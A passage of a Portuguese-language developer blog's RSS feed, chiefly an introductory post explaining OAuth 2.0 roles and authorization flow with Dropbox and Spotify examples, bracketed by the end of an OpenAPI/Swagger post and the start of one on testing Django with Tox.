&lt;p&gt;Vale notar que a documentação é &quot;viva&quot;, ou seja, ela interage com os endpoints do seu serviço. Para que esse recurso funcione corretamente, você precisa anotar a propriedade &lt;code class=&quot;language-text&quot;&gt;servers&lt;/code&gt; na especificação da &lt;em&gt;API&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md#serverObject&quot; title=&quot;Veja na documentação oficial&quot;&gt;Leia mais sobre &lt;em&gt;Server Object&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Testando com &lt;em&gt;Inspector&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;Se você já usou o &lt;a href=&quot;https://insomnia.rest/&quot; title=&quot;Debug APIs like a human, not a robot&quot;&gt;&lt;em&gt;Insomnia&lt;/em&gt;&lt;/a&gt; ou &lt;a href=&quot;https://www.getpostman.com/&quot; title=&quot;Postman Makes API Development Simple&quot;&gt;&lt;em&gt;Postman&lt;/em&gt;&lt;/a&gt;, vai se sentir em casa com o &lt;a href=&quot;https://inspector.swagger.io/builder&quot; title=&quot;Veja a aplicação&quot;&gt;&lt;em&gt;Swagger Inspector&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Inspector&lt;/em&gt; é uma &lt;em&gt;GUI&lt;/em&gt; que auxilia nos testes de &lt;em&gt;endpoints&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt;. Com ele, fica mais fácil inspecionar &lt;em&gt;endpoints&lt;/em&gt; e validar o contrato e comportamento dos mesmos.&lt;/p&gt;
&lt;p&gt;Confesso que acho o &lt;em&gt;Postman&lt;/em&gt; muito mais eficiente nesse quesito. Mas infelizmente, o aplicativo só suporta até a versão &lt;code class=&quot;language-text&quot;&gt;2.0&lt;/code&gt; do &lt;em&gt;Swagger Spec&lt;/em&gt;. Nada que impeça que você configure os &lt;em&gt;requests&lt;/em&gt; para os &lt;em&gt;endpoints&lt;/em&gt; manualmente.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;A &lt;em&gt;spec&lt;/em&gt; final você encontra &lt;a href=&quot;https://gist.github.com/kplaube/509c52f13dc966c915600733db60c2bb&quot; title=&quot;Veja o exemplo completo&quot;&gt;aqui&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O ambiente em torno do &lt;em&gt;OpenAPI&lt;/em&gt; é rico, e vale a pena considerar escrever suas próximas especificações de &lt;em&gt;APIs&lt;/em&gt; com esse padrão. Se você, assim como eu, vem de outros formatos (como o &lt;em&gt;RAML&lt;/em&gt; ou &lt;em&gt;JSON Schema&lt;/em&gt;), não notará grande diferença na forma de escrita com o &lt;em&gt;OAI&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;É claro que não é só o pessoal do &lt;em&gt;Swagger&lt;/em&gt; que cria ferramentas para &lt;em&gt;Swagger Spec&lt;/em&gt; e &lt;em&gt;OpenAPI Spec&lt;/em&gt;. Você pode conferir as diversas ferramentas criadas pela comunidade em &lt;a href=&quot;https://swagger.io/open-source-integrations/#community-driven-language-integrations-2&quot; title=&quot;Veja mais em swagger.io&quot;&gt;&lt;em&gt;Tools and Integrations&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sem dúvida, falaremos sobre &lt;em&gt;Python&lt;/em&gt; + &lt;em&gt;Swagger&lt;/em&gt; nos próximos &lt;em&gt;posts&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até lá.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[OAuth2.0: Autorização simples (or is it?)]]></title><description><![CDATA[É isso mesmo, meu caro leitor! Já pincelamos alguns assuntos que cerceiam o desenvolvimento
de APIs, desde
bibliotecas
até a construção de…]]></description><link>https://klauslaube.com.br/2018/02/06/oauth20-autorizacao-simples-or-is-it.html</link><guid isPermaLink="false">https://klauslaube.com.br/2018/02/06/oauth20-autorizacao-simples-or-is-it.html</guid><pubDate>Tue, 06 Feb 2018 11:45:00 GMT</pubDate><content:encoded>&lt;p&gt;É isso mesmo, meu caro leitor! Já pincelamos alguns assuntos que cerceiam o desenvolvimento
de &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre API&quot;&gt;&lt;em&gt;APIs&lt;/em&gt;&lt;/a&gt;, desde
&lt;a href=&quot;/2017/01/06/construindo-apis-em-django-com-restless.html&quot; title=&quot;Construindo APIs em Django com Restless&quot;&gt;bibliotecas&lt;/a&gt;
até a construção de &lt;a href=&quot;/2017/01/31/ramilificando-as-suas-apis.html&quot; title=&quot;Ramilificando as suas APIs&quot;&gt;especificações&lt;/a&gt;.
Nesse &lt;em&gt;post&lt;/em&gt; vamos introduzir a camada de &lt;em&gt;auth&lt;/em&gt; de uma &lt;em&gt;API&lt;/em&gt; &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, e
entender como podemos resolver esse problema através do protocolo &lt;em&gt;OAuth 2.0&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;O que é OAuth 2.0?&lt;/h2&gt;
&lt;p&gt;Diretamente do &lt;a href=&quot;https://oauth.net/2/&quot; title=&quot;Leia mais sobre OAuth&quot;&gt;oauth2.net&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OAuth 2.0 is the industry-standard protocol for authorization. OAuth 2.0 supersedes
the work done on the original OAuth protocol created in 2006. OAuth 2.0 focuses on client
developer simplicity while providing specific authorization flows for web applications,
desktop applications, mobile phones, and living room devices.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em outras palavras, é um &lt;em&gt;framework&lt;/em&gt; de autorização que possibilita aplicações a obterem acesso limitado
a contas de usuários em um serviço &lt;a href=&quot;/tag/http.html&quot; title=&quot;Leia mais sobre HTTP&quot;&gt;&lt;em&gt;HTTP&lt;/em&gt;&lt;/a&gt;, como &lt;em&gt;Facebook&lt;/em&gt;, &lt;em&gt;GitHub&lt;/em&gt;
ou &lt;em&gt;Twitter&lt;/em&gt;. Ele funciona delegando a autenticação do usuário ao serviço que &quot;hosteia&quot; a sua conta,
e autoriza aplicações &lt;em&gt;third-party&lt;/em&gt; a acessarem a mesma.&lt;/p&gt;
&lt;p&gt;Imagine que você criou um serviço &lt;em&gt;web&lt;/em&gt;. É razoável assumir que você aplique alguma forma proprietária para
resolver a questão de autenticação de usuários. Um formulário com &lt;em&gt;username&lt;/em&gt; e &lt;em&gt;password&lt;/em&gt; seria o suficiente
para realizar a tarefa. Imagine que o seu serviço comece a ganhar notoriedade, e com isso potenciais parceiros
desejam se integrar com a sua solução. Construir uma &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;API REST&lt;/em&gt;&lt;/a&gt; é um
caminho confortável, uma vez que o padrão é aberto, bem explorado, e não há nenhuma restrição de patente ou direitos
para que o seu parceiro o adote.&lt;/p&gt;
&lt;p&gt;O mesmo acontece com o &lt;em&gt;OAuth&lt;/em&gt;. Agora você precisa autorizar o acesso a sua &lt;em&gt;API&lt;/em&gt;, afinal não é todo parceiro que terá
acesso a parte &lt;em&gt;premium&lt;/em&gt; da sua solução. Ao invés de bolar um fluxo proprietário, no qual o seu parceiro terá que
desenvolver uma biblioteca apenas para conectar-se ao seu serviço, você adota o &lt;em&gt;OAuth 2.0&lt;/em&gt;. Como é um padrão aberto,
o interessado provavelmente já o conhece e já possui as ferramentas necessárias.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c11b7194b9a8a82321a0bc7e7c3ad0e9/c08c5/oauth-let-me-in.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAgP/xAAVAQEBAAAAAAAAAAAAAAAAAAACAf/aAAwDAQACEAMQAAABRVjIpkqU/wD/xAAYEAEBAAMAAAAAAAAAAAAAAAABAAMSMf/aAAgBAQABBQLtkAUt0Jb/xAAVEQEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAwEBPwFZ/8QAFREBAQAAAAAAAAAAAAAAAAAAARD/2gAIAQIBAT8BCf/EABcQAQADAAAAAAAAAAAAAAAAABAAESH/2gAIAQEABj8CmFP/xAAaEAADAAMBAAAAAAAAAAAAAAAAAREhQXGR/9oACAEBAAE/IW4q9IJ8QkzQHRu3gyn/2gAMAwEAAgADAAAAEJAv/8QAFREBAQAAAAAAAAAAAAAAAAAAARD/2gAIAQMBAT8QBJ//xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAgEBPxCB/8QAGxABAAMAAwEAAAAAAAAAAAAAAQARITFBUXH/2gAIAQEAAT8QRi0x8ZFpHTG+yUpXRHBBu3k+REmHc5//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Imagem do filme Deixe-me Entrar&amp;quot;&quot;
        title=&quot;O OAuth 2.0 é comprovadamente seguro. Mas nem tanto contra vampiros... (amazon.com)&quot;
        src=&quot;/static/c11b7194b9a8a82321a0bc7e7c3ad0e9/c08c5/oauth-let-me-in.jpg&quot;
        srcset=&quot;/static/c11b7194b9a8a82321a0bc7e7c3ad0e9/7809d/oauth-let-me-in.jpg 192w,
/static/c11b7194b9a8a82321a0bc7e7c3ad0e9/4ecad/oauth-let-me-in.jpg 384w,
/static/c11b7194b9a8a82321a0bc7e7c3ad0e9/c08c5/oauth-let-me-in.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;O OAuth 2.0 é comprovadamente seguro. Mas nem tanto contra vampiros... (amazon.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Embora pareça complicado, é possível resumir o fluxo do &lt;em&gt;OAuth 2.0&lt;/em&gt; com o diagrama abaixo:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/319b5c55911a20838a958ea5826541b2/6af66/oauth-overview.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACLklEQVQoz3WR2WsTQRzH9x8TwRcRH+KDNPXBI+JRD3z3QfBBFNSKacSkLaZqK4RaW2ps0m6uappaKiVp0hybrN1su5tsks3eZ/cYJ4aCCn75Mgw/5sP3OzMIx3H932JZVlEUAIBuOpxk9kUdmhN0QTEdAFyjr2d9etqrp8+b615+5bTcWELax6JpWhB4AByFybcKEWr3E7W7cJifZ/YWLVNx1Jae8WpJj756SomdjD4dXX7/BmGOBXlREIAlOzTqNqZAM+ISH1xizsHDrka7eldNelT0rJHyMJ/PRP2+xdADpNPp9Hq9brc7gEUR/FcOMLvAYIDRdvSezW4Y/RxCkgeVShXDMJIkJUmCp1zHti0L2hnatuBMs8y5+ma4+m2mlp3FNmawzTLfQQiCKJX24EpR1DBZkmW8uV/D69hPvIY3SPoQpnZU4Qrqh76aCIzEnp34eH++nh3cGTYf1uYFQbPN6P6Ph1uRQOGLPx99sbP8eHuhrXI9TRxLh26nJ+9kJm+mgueiT5bwrb8fTBRt1xFNldUl6UgXTQ0a7uGQM+QbqdcX115eRieuJV+NxJ6vEDv/wrC2bR6JLNemaGiGbmnS4PPZQXIQYrfSwUvohDf2KN7c/hNuCYIgW0aCLIQK8Xel1NtiMlxMTBfRtsJ1NBEWvrc+fTczdT0ZDK3N5vLfB181FORhsgNcSmFLLFnj6SpPVTmq3D8wbYszFF8icGF1fDQ+PpYKJnJfy5XKL6ouJ2+QUAY4AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Diagrama exibindo a dança realizada para autorizar um usuário&amp;quot;&quot;
        title=&quot;Diagrama exibindo a dança realizada para autorizar um usuário (api.slack.com)&quot;
        src=&quot;/static/319b5c55911a20838a958ea5826541b2/6af66/oauth-overview.png&quot;
        srcset=&quot;/static/319b5c55911a20838a958ea5826541b2/8514f/oauth-overview.png 192w,
/static/319b5c55911a20838a958ea5826541b2/804b2/oauth-overview.png 384w,
/static/319b5c55911a20838a958ea5826541b2/6af66/oauth-overview.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diagrama exibindo a dança realizada para autorizar um usuário (api.slack.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Entender melhor os papéis envolvidos nesse processo pode dar mais cor ao entendimento do diagrama acima.&lt;/p&gt;
&lt;h2&gt;Papéis&lt;/h2&gt;
&lt;p&gt;O protocolo &lt;em&gt;OAuth&lt;/em&gt; faz uso de 4 papéis:&lt;/p&gt;
&lt;h3&gt;Resource owner (user)&lt;/h3&gt;
&lt;p&gt;O &lt;em&gt;resource owner&lt;/em&gt; é o usuário que autoriza a aplicação a acessar a sua conta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exemplo:&lt;/strong&gt; Você.&lt;/p&gt;
&lt;h3&gt;Client (application)&lt;/h3&gt;
&lt;p&gt;A aplicação que está tentando acessar a conta do usuário. O usuário precisa autorizá-la a fazê-lo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exemplo:&lt;/strong&gt; Um aplicativo de galeria de imagens que conecta-se ao seu &lt;em&gt;Dropbox&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Authorization server&lt;/h3&gt;
&lt;p&gt;Esse é o servidor que apresenta a interface onde o usuário pode aprovar ou negar o acesso daquele aplicativo
à sua conta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exemplo:&lt;/strong&gt; Servidor de autorização do &lt;em&gt;Dropbox&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Resource server (API)&lt;/h3&gt;
&lt;p&gt;É o serviço/&lt;em&gt;API&lt;/em&gt; no qual estamos tentando acessar. O &lt;em&gt;resource server&lt;/em&gt; lida com requisições autenticadas
após o aplicativo ter obtido um &lt;em&gt;token&lt;/em&gt; de acesso.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exemplo:&lt;/strong&gt; &lt;em&gt;API&lt;/em&gt; de arquivos do &lt;em&gt;Dropbox&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;No cenário descrito acima, ter o &lt;em&gt;authorization server&lt;/em&gt; e o &lt;em&gt;resource server&lt;/em&gt; no mesmo serviço é aceitável.
Mas podemos ter a necessidade de apenas autenticar o usuário (utilizando o &lt;em&gt;Facebook&lt;/em&gt; como &lt;em&gt;authorization server&lt;/em&gt;,
por exemplo) e prover funcionalidades da nossa própria &lt;em&gt;API&lt;/em&gt; (agindo como &lt;em&gt;resource server&lt;/em&gt;).&lt;/p&gt;
&lt;h2&gt;Fluxos&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9fe31559513df4d43025a8672d8d84a8/6af66/oauth2-diagram-dropbox.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 97.39583333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAACg0lEQVQ4y3VU2Y7bMAz0//9b0YcC3WaTNOvblnzfZ1gObbnZZFeAoESmyJnhSFbddBTFKekkp2EYyYxpnilWGfmBpiBK+HshcdM00+MYxolC/p6kJd3vd7KWZaWibKiuWwlGAMY8L9RzAeyNvNe2PWV5JSv2+n6UBOt6p64f5JwkrDgREGDabiRIl3XdUPJBMJgZbVHWgvBmh/ThhKQ0xy0rPQ+raTsqioohFwK7ZLQmEHuOF8t0fSXU8BuFsQLdysW7bhC5BCGoOUFKfpQJtXGHjgEqOADU2EcB7IEugGC0XU9eoCgItcRaLWc/OSmdvfRIZFboBcqgh4Q9J3umie8eN87eEQvCnMUuq0Y2ONuREPoimWKEaEjDBYDCNENYMCCP5QALobx9XCXABBptTOJH1M/j8cyR8Ktp6MCLqA794EWsQI3fSmeC+jG59U3hI2HIVpGknAgr7IUVVCFTVW3+HXfDW3KwHbh7MPEkNwQB0BYWUnFOaVKSUjnFjAhaYl/sxmualcIAaKUp6PLvm6I/tpaKMHDOviyKhoJU08+PE/24vtE5cCTRupveyNIwC3h08yXbBnbQbOiMg+EpVMLUrFOUpHTxXbaVTTc/EDesX1jLZw9GLINoiE0kxfX61D36vqums8Yhw37+6PJr8EYLEsBjBvVG+XP8siccp+k/wqxsqWr6F89BSzxfbsiPgqe4KduNQafzopYYXEPc8UilW1MaNOVD07uTvAgOhLDNu5vSr2tMflywjiVdbh5d/nrSYUw0xXb3psAieGWyvH4RPMkqOjuaTreI3q4BRXp7ZDFh7iBMyOXumv8HZVx4o83jTVmWRfRBUUzD4Hngm3k0/gEOOL8BdFzrPwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Diagrama de autorização de usuário no Dropbox&amp;quot;&quot;
        title=&quot;Diagrama de autorização de usuário no Dropbox (dropbox.com)&quot;
        src=&quot;/static/9fe31559513df4d43025a8672d8d84a8/6af66/oauth2-diagram-dropbox.png&quot;
        srcset=&quot;/static/9fe31559513df4d43025a8672d8d84a8/8514f/oauth2-diagram-dropbox.png 192w,
/static/9fe31559513df4d43025a8672d8d84a8/804b2/oauth2-diagram-dropbox.png 384w,
/static/9fe31559513df4d43025a8672d8d84a8/6af66/oauth2-diagram-dropbox.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diagrama de autorização de usuário no Dropbox (dropbox.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Você provavelmente já passou pelo fluxo ilustrado acima ao fazer &lt;em&gt;login&lt;/em&gt; no &lt;em&gt;Spotify&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;app&lt;/em&gt; do &lt;em&gt;Spotify&lt;/em&gt; pede autorização ao &lt;em&gt;Facebook&lt;/em&gt; para acessar os dados da sua conta.
O &lt;em&gt;Facebook&lt;/em&gt; por sua vez exibe uma tela, solicitando que você autorize o acesso clicando em um botão.
Com isso, &lt;em&gt;Facebook&lt;/em&gt; autoriza acesso do &lt;em&gt;Spotify&lt;/em&gt; e a partir daí ele é capaz de ver o seu endereço
de e-mail e consequentemente ter certeza de que &quot;você é você&quot;.&lt;/p&gt;
&lt;p&gt;No caso do exemplo da galeria de fotos, os seguintes passos são executados:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A aplicação requisita autorização para acessar os recursos do usuário;&lt;/li&gt;
&lt;li&gt;Se o usuário autorizá-la, a aplicação recebe um &lt;em&gt;authorization grant&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;A aplicação requisita um &lt;em&gt;access token&lt;/em&gt; do &lt;em&gt;authorization server&lt;/em&gt;, apresentando as suas próprias credenciais e o &lt;em&gt;authorization grant&lt;/em&gt; cedido pelo usuário;&lt;/li&gt;
&lt;li&gt;Se as credenciais e o &lt;em&gt;authorization grant&lt;/em&gt; forem válidos, o &lt;em&gt;authorization server&lt;/em&gt; emite um &lt;em&gt;access token&lt;/em&gt; para a aplicação. O processo de autorização está completo;&lt;/li&gt;
&lt;li&gt;A aplicação requisita o recurso protegido do &lt;em&gt;resource server&lt;/em&gt;, apresentando o &lt;em&gt;access token&lt;/em&gt; para autenticação;&lt;/li&gt;
&lt;li&gt;Se o &lt;em&gt;access token&lt;/em&gt; for válido, o &lt;em&gt;resource server&lt;/em&gt; retorna o recurso para a aplicação.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Caso você esteja construindo o aplicativo de galeria de fotos, é necessário criar um &quot;app&quot; na área de &lt;em&gt;Developers&lt;/em&gt; do &lt;em&gt;Dropbox&lt;/em&gt;, como mostrado abaixo:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7a27e171d8d47d4a1a318d588a7c342a/6af66/dropbox-app-creation.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 81.77083333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAABt0lEQVQ4y6VUa2+jMBD0//+H9+G+tL0oCWDwC7+A6awhd9UlqSLV0mQWg8fr2XVUKQUpZeRcMM+xxbVWyLwg54xlWSFj27Y7/D+vYozQesQ0GQrOeDZuix/Nf32nCjeP/Al5xUxOC8CwcawbPAOZX7lGMq3Esq4tXtYjQyLXpT2rKQGnMeLt1OP9rNGZGb2NGENp8a/fH+jJssgYg+ulwzBo9P3QTiW2+BDx/ueKXOohqHfBty7iY4gU2gUHl7nJCBMrM9xgKNB3PbQITtzY7J4XCo3GozBLtXDregN2Xg4uAh4/c0JOtz3z92D5hkWZ4ayFd7Zx8A7WCAdYPq/r8wo/ggqxYHKxYbQzjE9IUY4inL5UcMMrQ9Ee+PwPtA5iww2V53gVrcqsAU5TRje5Vt1uCjgPDmftcBl9iy+aTFz4zuYNrFXjG9zBgaYrz0AzratUjV822LSLs4pDe44Nj8TuBKWBPTt5pHdmLuSM0SVoeiqYQv4bywKxZOd7yEVQYn7glZN+Enw3tlbt79HusrMOznl4toq0yast8rBtUk4Uc63nrNv77idQa7voS/vLqrw6P8lO8Akuj+Y6qSKTZwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Área de criação de app&amp;quot;&quot;
        title=&quot;Área de criação de app&quot;
        src=&quot;/static/7a27e171d8d47d4a1a318d588a7c342a/6af66/dropbox-app-creation.png&quot;
        srcset=&quot;/static/7a27e171d8d47d4a1a318d588a7c342a/8514f/dropbox-app-creation.png 192w,
/static/7a27e171d8d47d4a1a318d588a7c342a/804b2/dropbox-app-creation.png 384w,
/static/7a27e171d8d47d4a1a318d588a7c342a/6af66/dropbox-app-creation.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Área de criação de app&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ao finalizar o cadastro, o &lt;em&gt;app&lt;/em&gt; receberá um &lt;code class=&quot;language-text&quot;&gt;app key&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;app secret&lt;/code&gt;. Essas são as credenciais do aplicativo, que
devem ser apresentadas ao &lt;em&gt;authorization server&lt;/em&gt; juntamente com o &lt;code class=&quot;language-text&quot;&gt;authorization grant&lt;/code&gt;, para que o processo execute com sucesso.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/developers/reference/oauth-guide&quot;&gt;Leia o OAuth guide, do Dropbox&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Diferenças para o OAuth 1.0&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;OAuth 1.0&lt;/em&gt; foi baseado em protocolos proprietários, e com o passar do tempo pode-se dizer que ele &quot;não envelheceu bem&quot;.
O &lt;em&gt;OAuth 2.0&lt;/em&gt; surgiu das lições aprendidas com o primeiro, e tem como principais melhorias:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Utilizar &lt;em&gt;HTTPS&lt;/em&gt; para todas as comunicações entre navegadores, clientes e &lt;em&gt;API&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Melhor experiência de autorização para aplicativos nativos e suporte para extensões;&lt;/li&gt;
&lt;li&gt;A separação em papéis permite uma melhor escala de operação, uma vez que é possível tratar o &lt;em&gt;user authorization&lt;/em&gt; e
as &lt;em&gt;API calls&lt;/em&gt; em contextos (serviços e até mesmo máquinas) diferentes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Se até então o protocolo não ficou muito claro, não se preocupe! É na prática que o &lt;em&gt;OAuth 2.0&lt;/em&gt; começa a fazer mais sentido,
e é isso que abordaremos no próximo &lt;em&gt;post&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Entender como esse protocolo funciona é fundamental para compreender outras variações como &lt;a href=&quot;https://oauth.net/2/native-apps/&quot;&gt;Native Apps auth&lt;/a&gt;,
&lt;a href=&quot;http://tools.ietf.org/html/rfc7522&quot;&gt;SAML&lt;/a&gt; ou &lt;a href=&quot;https://tools.ietf.org/html/rfc7519&quot;&gt;JWT&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://aaronparecki.com/oauth-2-simplified/&quot;&gt;Aaron Parecki - OAuth 2 Simplified&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2&quot;&gt;DigitalOcean - An Introduction to OAuth 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/developers/reference/oauth-guide&quot;&gt;Dropbox - OAuth guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://oauth.net/2/&quot;&gt;Oauth.net - OAuth 2.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.slack.com/docs/oauth&quot;&gt;Slack API - Using OAuth 2.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Testando apps Django com Tox]]></title><description><![CDATA[O Django 2.0 foi lançado,
e com ele o suporte a Python  deixa de existir para
